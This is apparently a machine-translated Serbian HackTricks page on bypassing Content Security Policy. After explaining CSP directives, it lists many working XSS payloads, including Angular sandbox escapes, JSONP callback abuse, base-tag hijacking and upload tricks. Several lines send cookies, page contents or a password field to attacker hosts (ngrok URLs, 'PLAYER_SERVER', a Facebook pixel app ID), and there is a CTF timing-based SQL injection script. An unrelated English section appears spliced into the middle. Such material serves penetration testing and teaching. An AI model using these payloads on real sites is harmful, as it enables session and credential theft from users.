hacktricks/pentesting-web/content-security-policy-csp-bypass/README.md

47 KiB
Raw Blame History

Bajpasovanje politike bezbednosti sadržaja (CSP)

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Pridružite se HackenProof Discord serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove!

Uvidi u hakovanje
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja

Vesti o hakovanju u realnom vremenu
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu

Najnovije najave
Budite informisani o najnovijim nagradama za pronalaženje bagova i važnim ažuriranjima platformi

Pridružite nam se na Discord-u i počnite da sarađujete sa vrhunskim hakerima danas!

Šta je CSP

Politika bezbednosti sadržaja (CSP) je prepoznata kao tehnologija pregledača, pretežno usmerena na zaštitu od napada poput skriptovanja preko različitih sajtova (XSS). Funkcioniše definisanjem i detaljnim putanjama i izvorima sa kojih pregledač može bezbedno učitati resurse. Ovi resursi obuhvataju različite elemente poput slika, okvira i JavaScript-a. Na primer, politika može dozvoliti učitavanje i izvršavanje resursa sa istog domena (self), uključujući i inline resurse i izvršavanje koda u obliku stringa putem funkcija poput eval, setTimeout ili setInterval.

Implementacija CSP-a se vrši putem zaglavlja odgovora ili uključivanjem meta elemenata u HTML stranicu. Prema ovoj politici, pregledači proaktivno sprovode ove odredbe i odmah blokiraju otkrivene prekršaje.

  • Implementirano putem zaglavlja odgovora:
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
  • Implementirano putem meta oznake:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

Zaglavlja

CSP može biti sproveden ili praćen korišćenjem ovih zaglavlja:

  • Content-Security-Policy: Sprovodi CSP; pregledač blokira bilo kakve povrede.
  • Content-Security-Policy-Report-Only: Koristi se za praćenje; prijavljuje povrede bez blokiranja. Idealno za testiranje u pre-produkcionim okruženjima.

Definisanje Resursa

CSP ograničava poreklo za učitavanje kako aktivnog tako i pasivnog sadržaja, kontrolišući aspekte poput izvršavanja inline JavaScript-a i korišćenja eval(). Primer politike je:

default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

Direktive

  • script-src: Dozvoljava određene izvore za JavaScript, uključujući URL-ove, inline skripte i skripte pokrenute putem događaja ili XSLT stilova.
  • default-src: Postavlja podrazumevanu politiku za preuzimanje resursa kada određene direktive za preuzimanje nisu prisutne.
  • child-src: Specificira dozvoljene resurse za web radnike i ugrađene sadržaje okvira.
  • connect-src: Ograničava URL-ove koji se mogu učitati koristeći interfejse poput fetch, WebSocket, XMLHttpRequest.
  • frame-src: Ograničava URL-ove za okvire.
  • frame-ancestors: Specificira koje izvore mogu ugraditi trenutnu stranicu, primenjivo na elemente poput <frame>, <iframe>, <object>, <embed>, i <applet>.
  • img-src: Definiše dozvoljene izvore za slike.
  • font-src: Specificira validne izvore za fontove učitane koristeći @font-face.
  • manifest-src: Definiše dozvoljene izvore fajlova manifesta aplikacije.
  • media-src: Definiše dozvoljene izvore za učitavanje medijskih objekata.
  • object-src: Definiše dozvoljene izvore za elemente <object>, <embed>, i <applet>.
  • base-uri: Specificira dozvoljene URL-ove za učitavanje koristeći elemente <base>.
  • form-action: Navodi validne endpointe za podnošenje formi.
  • plugin-types: Ograničava mime tipove koje stranica može pozvati.
  • upgrade-insecure-requests: Naređuje pretraživačima da prepišu HTTP URL-ove u HTTPS.
  • sandbox: Primenjuje ograničenja slična atributu sandbox za <iframe>.
  • report-to: Specificira grupu kojoj će izveštaj biti poslat ako je politika prekršena.
  • worker-src: Specificira validne izvore za Worker, SharedWorker, ili ServiceWorker skripte.
  • prefetch-src: Specificira validne izvore za resurse koji će biti preuzeti ili predpreuzeti.
  • navigate-to: Ograničava URL-ove na koje dokument može navigirati na bilo koji način (a, forma, window.location, window.open, itd.)

Izvori

  • *: Dozvoljava sve URL-ove osim onih sa šemama data:, blob:, filesystem:.
  • 'self': Dozvoljava učitavanje sa istog domena.
  • 'data': Dozvoljava resurse da se učitavaju putem data šeme (npr. Base64 enkodirane slike).
  • 'none': Blokira učitavanje sa bilo kog izvora.
  • 'unsafe-eval': Dozvoljava korišćenje eval() i sličnih metoda, nije preporučljivo iz sigurnosnih razloga.
  • 'unsafe-hashes': Omogućava specifične inline event handlere.
  • 'unsafe-inline': Dozvoljava korišćenje inline resursa poput inline <script> ili <style>, nije preporučljivo iz sigurnosnih razloga.
  • 'nonce': Bela lista za specifične inline skripte korišćenjem kriptografskog nonce-a (broj korišćen jednom).
  • Ako imate ograničeno izvršavanje JS-a, moguće je dobiti korišćeni nonce unutar stranice sa doc.defaultView.top.document.querySelector("[nonce]") i zatim ga ponovo koristiti za učitavanje zlonamerne skripte (ako je korišćen strict-dynamic, bilo koji dozvoljeni izvor može učitati nove izvore pa ovo nije potrebno), kao u:
Učitavanje skripte ponovnim korišćenjem nonce-a ```html ```
  • 'sha256-<hash>': Belisti skripte sa određenim sha256 hešom.
  • 'strict-dynamic': Dozvoljava učitavanje skripti sa bilo kog izvora ako je belistovano pomoću nonce-a ili heša.
  • 'host': Specificira određeni host, kao što je example.com.
  • https:: Ograničava URL-ove na one koji koriste HTTPS.
  • blob:: Dozvoljava resursima da se učitavaju sa Blob URL-ova (npr. Blob URL-ova kreiranih putem JavaScript-a).
  • filesystem:: Dozvoljava resursima da se učitavaju sa fajl sistema.
  • 'report-sample': Uključuje uzorak koda koji krši pravilo u izveštaju o kršenju (korisno za debagovanje).
  • 'strict-origin': Slično kao 'self', ali osigurava da nivo sigurnosti protokola izvora odgovara dokumentu (samo sigurni izvori mogu učitavati resurse sa sigurnih izvora).
  • 'strict-origin-when-cross-origin': Šalje kompletne URL-ove prilikom pravljenja zahteva istog porekla, ali šalje samo poreklo kada je zahtev preko granice porekla.
  • 'unsafe-allow-redirects': Dozvoljava učitavanje resursa koji će odmah preusmeriti na drugi resurs. Nije preporučljivo jer oslabljuje sigurnost.

Nekorektna CSP pravila

'unsafe-inline'

Content-Security-Policy: script-src https://google.com 'unsafe-inline';

Radni payload: "/><script>alert(1);</script>

self + 'unsafe-inline' putem Iframe-ova

{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %} csp-bypass-self-+-unsafe-inline-with-iframes.md {% endcontent-ref %}

'unsafe-eval'

Content-Security-Policy: script-src https://google.com 'unsafe-eval';

Radni payload:

<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

strict-dynamic

Ako na neki način možete da naterate dozvoljeni JS kod da kreira novi tag skripte u DOM-u sa vašim JS kodom, jer dozvoljeni skript kreira, novi tag skripte će biti dozvoljen za izvršavanje.

Zvezdica (*)

Content-Security-Policy: script-src 'self' https://google.com https: data *;

Radni payload:

"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>

Nedostatak object-src i default-src

{% hint style="danger" %} Izgleda da ovo više ne funkcioniše {% endhint %}

Content-Security-Policy: script-src 'self' ;

Radni payloadi:

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

Postavljanje datoteka + 'self'

Content-Security-Policy: script-src 'self';  object-src 'none' ;

Ako možete da otpremite JS datoteku, možete zaobići ovu CSP:

Radna payload:

"/>'><script src="/uploads/picture.png.js"></script>

Međutim, veoma je verovatno da server validira otpremljeni fajl i dozvoliće vam samo da otprenete određenu vrstu fajlova.

Štaviše, čak i ako biste mogli da otpremite JS kod unutar fajla koristeći ekstenziju koju server prihvata (npr. script.png), to neće biti dovoljno jer neki serveri poput apache servera biraju MIME tip fajla na osnovu ekstenzije i pregledači poput Chrome-a će odbaciti izvršavanje Javascript koda unutar nečega što bi trebalo da bude slika. "Na sreću", postoje greške. Na primer, iz jednog CTF-a sam naučio da Apache ne prepoznaje ekstenziju .wave, stoga je ne servira sa MIME tipom poput audio/*.

Odavde, ako pronađete XSS i mogućnost otpremanja fajla, i uspete da pronađete pogrešno protumačenu ekstenziju, možete pokušati da otpremite fajl sa tom ekstenzijom i sadržajem skripte. Ili, ako server proverava ispravan format otpremljenog fajla, kreirajte poliglot (neki primeri poliglota ovde).

Endpoziti trećih strana + ('unsafe-eval')

{% hint style="warning" %} Za neke od sledećih payloada unsafe-eval nije čak ni potreban. {% endhint %}

Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';

Učitajte ranjivu verziju Angular-a i izvršite proizvoljni JS:

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>

Payloadi koji koriste Angular + biblioteku sa funkcijama koje vraćaju window objekat (proverite ovaj post):

{% hint style="info" %} Post pokazuje da biste mogli učitati sve biblioteke sa cdn.cloudflare.com (ili bilo kojeg drugog dozvoljenog repozitorijuma JS biblioteka), izvršiti sve dodate funkcije iz svake biblioteke, i proveriti koje funkcije iz kojih biblioteka vraćaju window objekat. {% endhint %}

<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>

Zloupotreba google recaptcha JS koda

Prema ovom CTF writeup-u možete zloupotrebiti https://www.google.com/recaptcha/ unutar CSP-a da biste izvršili proizvoljan JS kod zaobići CSP:

<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

Više payloada iz ovog članka:

<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>

<!-- Trigger alert -->
<img src=x ng-on-error='$event.target.ownerDocument.defaultView.alert(1)'>

<!-- Reuse nonce -->
<img src=x ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)'>

Spoljni endpointovi + JSONP

Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';

Scenariji poput ovog gde je script-src postavljen na self i određeni domen koji je dodat na belu listu mogu biti zaobiđeni korišćenjem JSONP-a. JSONP endpointi dozvoljavaju nesigurne povratne metode koje omogućavaju napadaču da izvrši XSS, radno opterećenje:

"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>

JSONBee sadrži spremne JSONP endpointove za CSP zaobilaženje različitih veb lokacija.

Ista ranjivost će se pojaviti ako pouzdani endpoint sadrži otvoreno preusmeravanje jer ako je početni endpoint pouzdan, preusmeravanja su pouzdana.

Zloupotrebe trećih strana

Kao što je opisano u sledećem postu, postoji mnogo domena trećih strana koje su dozvoljene negde u CSP-u, a mogu se zloupotrebiti radi eksfiltracije podataka ili izvršavanja JavaScript koda. Neke od ovih trećih strana su:

Entitet Dozvoljeni domen Mogućnosti
Facebook www.facebook.com, *.facebook.com Eksfiltracija
Hotjar *.hotjar.com, ask.hotjar.io Eksfiltracija
Jsdelivr *.jsdelivr.com, cdn.jsdelivr.net Izvršavanje
Amazon CloudFront *.cloudfront.net Eksfiltracija, Izvršavanje
Amazon AWS *.amazonaws.com Eksfiltracija, Izvršavanje
Azure Websites *.azurewebsites.net, *.azurestaticapps.net Eksfiltracija, Izvršavanje
Salesforce Heroku *.herokuapp.com Eksfiltracija, Izvršavanje
Google Firebase *.firebaseapp.com Eksfiltracija, Izvršavanje

Ako pronađete neki od dozvoljenih domena u CSP-u vašeg cilja, postoji mogućnost da možete zaobići CSP registracijom na uslugu treće strane i ili eksfiltrirati podatke na tu uslugu ili izvršiti kod.

Na primer, ako pronađete sledeći CSP:

Content-Security-Policy: default-src 'self www.facebook.com;

Bypassing Content Security Policy (CSP)


Introduction

Content Security Policy (CSP) is an added layer of security that helps detect and mitigate certain types of attacks, such as Cross Site Scripting (XSS) and data injection attacks. However, misconfigurations or weak policies can sometimes allow attackers to bypass CSP protections.

Bypass Techniques

  1. Inline Scripts: Attackers can bypass CSP by executing malicious code inline within HTML attributes or event handlers.

  2. Unsafe Inline: Using 'unsafe-inline' keyword in the CSP policy allows inline scripts to be executed, providing an avenue for attackers to inject and execute malicious code.

  3. Unsafe Eval: Similarly, the 'unsafe-eval' keyword in the CSP policy enables the execution of dynamic code using functions like eval(), which can be abused by attackers.

  4. Data Protocol: Attackers can use the data: protocol to embed external resources within a page, bypassing CSP restrictions.

  5. Meta Tag Manipulation: By manipulating meta tags or injecting meta tags dynamically, attackers can control the CSP policy or disable it altogether.

Mitigation

To prevent CSP bypasses, ensure the following:

  • Avoid using 'unsafe-inline' and 'unsafe-eval' in your CSP policy.
  • Utilize nonce-based CSP to allow specific inline scripts.
  • Implement strict policies that only allow trusted sources for scripts, stylesheets, and other resources.
  • Regularly monitor and update your CSP policy to adapt to evolving threats and best practices.
Content-Security-Policy: connect-src www.facebook.com;

Treba da možete da eksfiltrirate podatke, slično kao što je to uvek rađeno sa Google Analytics/Google Tag Manager. U ovom slučaju, pratite ove opšte korake:

  1. Kreirajte Facebook Developer nalog ovde.
  2. Napravite novu "Facebook Login" aplikaciju i izaberite "Website".
  3. Idite na "Settings -> Basic" i dobijte svoj "App ID".
  4. Na ciljnom sajtu sa kog želite da eksfiltrirate podatke, možete to uraditi direktno koristeći Facebook SDK uređaj "fbq" putem "customEvent" i podataka za prenos.
  5. Idite na svoju aplikaciju "Event Manager" i izaberite aplikaciju koju ste kreirali (napomena: menadžer događaja može se pronaći na URL-u sličnom ovom: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events).
  6. Izaberite karticu "Test Events" da biste videli događaje koje šalje "vaš" veb sajt.

Zatim, na strani žrtve, izvršite sledeći kod da biste inicijalizovali Facebook praćenje piksela da pokazuje ka aplikaciji napadačevog Facebook developer naloga app-id i izdate prilagođeni događaj ovako:

fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});

Bypass putem RPO (Relative Path Overwrite)

Pored pomenutog preusmeravanja za zaobilaženje ograničenja putanje, postoji još jedna tehnika nazvana Relative Path Overwrite (RPO) koja se može koristiti na nekim serverima.

Na primer, ako CSP dozvoljava putanju https://example.com/scripts/react/, može se zaobići na sledeći način:

<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>

Browser će konačno učitati https://example.com/scripts/angular/angular.js.

Ovo funkcioniše jer za pregledač, učitavate datoteku nazvanu ..%2fangular%2fangular.js smeštenu pod https://example.com/scripts/react/, što je u skladu sa CSP.

Zato će dekodirati to, efektivno zahtevajući https://example.com/scripts/react/../angular/angular.js, što je ekvivalentno sa https://example.com/scripts/angular/angular.js.

Iskorišćavanjem ove neusaglašenosti u interpretaciji URL-a između pregledača i servera, pravila putanje mogu biti zaobiđena.

Rešenje je ne tretirati %2f kao / na serverskoj strani, osiguravajući doslednu interpretaciju između pregledača i servera kako bi se izbegao ovaj problem.

Online Primer: https://jsbin.com/werevijewa/edit?html,output

Izvršavanje JS koda putem iframes

{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}

nedostaje base-uri

Ako nedostaje direktiva base-uri možete je zloupotrebiti da izvršite dangling markup injection.

Osim toga, ako stranica učitava skriptu koristeći relativnu putanju (kao što je <script src="/js/app.js">) koristeći Nonce, možete zloupotrebiti base tag da naterate da se skripta učita sa vašeg servera postižući XSS.
Ako je ranjiva stranica učitana sa httpS, koristite httpS URL u base.

<base href="https://www.attacker.com/">

AngularJS događaji

Specifična politika poznata kao Politika bezbednosti sadržaja (CSP) može ograničiti JavaScript događaje. Međutim, AngularJS uvodi prilagođene događaje kao alternativu. U okviru događaja, AngularJS pruža jedinstveni objekat $event, koji se odnosi na nativni objekat događaja pregledača. Ovaj $event objekat može biti iskorišćen kako bi se zaobišla CSP. Posebno, u Chrome-u, $event/event objekat poseduje atribut path, koji sadrži niz objekata uključenih u lanac izvršenja događaja, pri čemu je window objekat uvek pozicioniran na kraju. Ova struktura je ključna za taktike bekstva iz peska.

Usmeravanjem ovog niza ka filteru orderBy, moguće je iterirati kroz njega, iskorišćavajući terminalni element (objekat window) kako bi se pokrenula globalna funkcija poput alert(). Demonstrirani isečak koda ispod objašnjava ovaj proces:

<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x

Ovaj odlomak ističe upotrebu ng-focus direktive za pokretanje događaja, korišćenje $event.path|orderBy za manipulaciju nizom path, i iskorišćavanje window objekta za izvršavanje alert() funkcije, čime se otkriva document.cookie.

Pronađite druge Angular zaobilaze na https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

AngularJS i belačka lista domena

Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;

CSP politika koja beleži domene za učitavanje skripti u Angular JS aplikaciji može biti zaobiđena pozivom povratnih funkcija i određenih ranjivih klasa. Dodatne informacije o ovoj tehnici mogu se pronaći u detaljnom vodiču dostupnom na ovom git repozitorijumu.

Radni payloadi:

<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">

Bypass putem Preusmeravanja

Šta se dešava kada CSP naiđe na preusmeravanje na serverskoj strani? Ako preusmeravanje vodi ka drugom poreklu koje nije dozvoljeno, i dalje će neuspeti.

Međutim, prema opisu u CSP specifikaciji 4.2.2.3. Putanje i Preusmeravanja, ako preusmeravanje vodi ka drugoj putanji, može zaobići originalna ograničenja.

Evo primera:

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
<div id=userContent>
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>

Ako je CSP postavljen na https://www.google.com/a/b/c/d, s obzirom da se putanja uzima u obzir, i skripte /test i /a/test će biti blokirane od strane CSP.

Međutim, konačni http://localhost:5555/301 će biti preusmeren na serverskoj strani na https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//. Budući da je u pitanju preusmerenje, putanja se ne uzima u obzir, i skripta može biti učitana, čime se zaobilazi ograničenje putanje.

Sa ovim preusmerenjem, čak i ako je putanja potpuno navedena, i dalje će biti zaobiđena.

Stoga, najbolje rešenje je osigurati da veb lokacija nema ranjivosti na otvoreno preusmeravanje i da ne postoje domeni koji mogu biti iskorišćeni u pravilima CSP.

Zaobiđite CSP pomoću visećeg markup-a

Pročitajte ovde.

'unsafe-inline'; img-src *; putem XSS

default-src 'self' 'unsafe-inline'; img-src *;

'unsafe-inline' znači da možete izvršiti bilo koji skript unutar koda (XSS može izvršiti kod) i img-src * znači da možete koristiti na veb stranici bilo koju sliku sa bilo kog izvora.

Ovu CSP možete zaobići eksfiltriranjem podataka putem slika (u ovom slučaju XSS zloupotrebljava CSRF gde stranica dostupna botu sadrži SQLi, i izvlači zastavu putem slike):

<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>

Sa ovom konfiguracijom takođe možete zloupotrebiti da učitate JavaScript kod ubačen unutar slike. Na primer, ako stranica dozvoljava učitavanje slika sa Twittera, možete napraviti specijalnu sliku, učitati je na Twitter i zloupotrebiti "unsafe-inline" da izvršite JS kod (kao redovan XSS) koji će učitati sliku, izdvojiti JS iz nje i izvršiti ga: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/

Sa Servisnim Radnicima

Funkcija importScripts servisnih radnika nije ograničena CSP-om:

{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %} abusing-service-workers.md {% endcontent-ref %}

Umetanje Politike

Istraživanje: https://portswigger.net/research/bypassing-csp-with-policy-injection

Chrome

Ako je parametar koji ste poslali zalepljen unutar deklaracije politike, tada možete izmeniti politiku na način koji je beskoristan. Možete dozvoliti skript 'unsafe-inline' sa bilo kojim od ovih prelaza:

script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'

Zato što će ovaj direktiv prepisati postojeće direktive script-src.
Primer možete pronaći ovde: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E

Edge

U Edge-u je mnogo jednostavnije. Ako možete dodati u CSP samo ovo: ;_ Edge će odbaciti ceo policy.
Primer: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E

img-src *; putem XSS (iframe) - Napad vremenskim usklađivanjem

Primetite nedostatak direktive 'unsafe-inline'
Ovog puta možete naterati žrtvu da učita stranicu pod vašom kontrolom putem XSS sa <iframe. Ovog puta ćete naterati žrtvu da pristupi stranici sa koje želite izvući informacije (CSRF). Ne možete pristupiti sadržaju stranice, ali ako na neki način možete kontrolisati vreme koje je potrebno stranici da se učita možete izvući potrebne informacije.

Ovog puta će se flag izvući, svaki put kada se karakter tačno pogodi putem SQLi, odgovor traje duže vreme zbog sleep funkcije. Tada ćete moći izvući flag:

<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}

function gen2(x) {
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}

async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}

let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'

async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t =  await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}

run();
</script>

Preko Bookmarklet-a

Ovaj napad bi implicirao neko oblik društvenog inženjeringa gde napadač ubeđuje korisnika da prevuče i ispusti link preko bookmarklet-a u pretraživaču. Ovaj bookmarklet bi sadržao zlonamerni JavaScript kod koji bi se izvršio u kontekstu trenutnog prozora veba, zaobilazeći CSP i omogućavajući krađu osetljivih informacija poput kolačića ili tokena.

Za više informacija proverite originalni izveštaj ovde.

Bypass CSP ograničavanjem CSP-a

U ovom CTF izveštaju, CSP je zaobiđen ubacivanjem unutar dozvoljenog iframe-a strožiji CSP koji nije dozvoljavao učitavanje određene JS datoteke koja je zatim, putem zagađenja prototipa ili dom clobbering-a, omogućila zloupotrebu drugog skripta za učitavanje proizvoljnog skripta.

Možete ograničiti CSP Iframe-a pomoću atributa csp:

{% code overflow="wrap" %}

<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>

{% endcode %}

U ovom CTF zapisu, bilo je moguće putem HTML ubacivanja dodatno ograničiti CSP tako da je skripta koja sprečava CSTI bila onemogućena i stoga je ranjivost postala iskorišćiva.
CSP može postati stroži korišćenjem HTML meta tagova i inline skripte mogu biti onemogućene uklanjanjem unosa koji omogućava njihov nonce i omogućavanje specifične inline skripte putem sha:

<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">

JS ekstrakcija pomoću Content-Security-Policy-Report-Only

Ako uspete da naterate server da odgovori sa zaglavljem Content-Security-Policy-Report-Only sa vrednošću kojom upravljate vi (možda zbog CRLF-a), možete ga naterati da upućuje ka vašem serveru i ako obavijete JS sadržaj koji želite da ekstraktujete sa <script> i jer je veoma verovatno da unsafe-inline nije dozvoljen od strane CSP-a, ovo će pokrenuti CSP grešku i deo skripte (koji sadrži osetljive informacije) će biti poslat na server sa Content-Security-Policy-Report-Only.

Za primer proverite ovaj CTF writeup.

CVE-2020-6519

document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";

Otkrivanje informacija pomoću CSP i Iframe-a

  • Kreira se iframe koji pokazuje na URL (nazovimo ga https://example.redirect.com) koji je dozvoljen od strane CSP-a.
  • Taj URL zatim preusmerava na tajni URL (npr. https://usersecret.example2.com) koji nije dozvoljen od strane CSP-a.
  • Slušanjem događaja securitypolicyviolation, moguće je uhvatiti svojstvo blockedURI. Ovo svojstvo otkriva domen blokiranog URI-ja, otkrivajući tajni domen na koji je početni URL preusmeren.

Zanimljivo je napomenuti da pregledači poput Chrome-a i Firefox-a imaju različito ponašanje u rukovanju iframe-ovima u vezi sa CSP-om, što može dovesti do potencijalnog otkrivanja osetljivih informacija zbog nepredvidivog ponašanja.

Druga tehnika uključuje iskorišćavanje samog CSP-a kako bi se zaključio tajni poddomen. Ova metoda se oslanja na binarnu pretragu i prilagođavanje CSP-a kako bi uključila određene domene koji su namerno blokirani. Na primer, ako je tajni poddomen sastavljen od nepoznatih karaktera, možete iterativno testirati različite poddomene modifikujući CSP direktivu da blokira ili dozvoljava ove poddomene. Evo isečka koji prikazuje kako bi CSP mogao biti postavljen da olakša ovu metodu:

img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev

Prateći koje zahteve blokira ili dozvoljava CSP, moguće je suziti moguće karaktere u tajnom poddomenu, otkrivajući konačno celu URL adresu.

Oba metoda iskorišćavaju nijanse implementacije i ponašanja CSP u pretraživačima, pokazujući kako se naizgled sigurne politike mogu nenamerno otkriti osetljive informacije.

Triks sa ovde.

Pridružite se HackenProof Discord serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove!

Hakerski uvidi
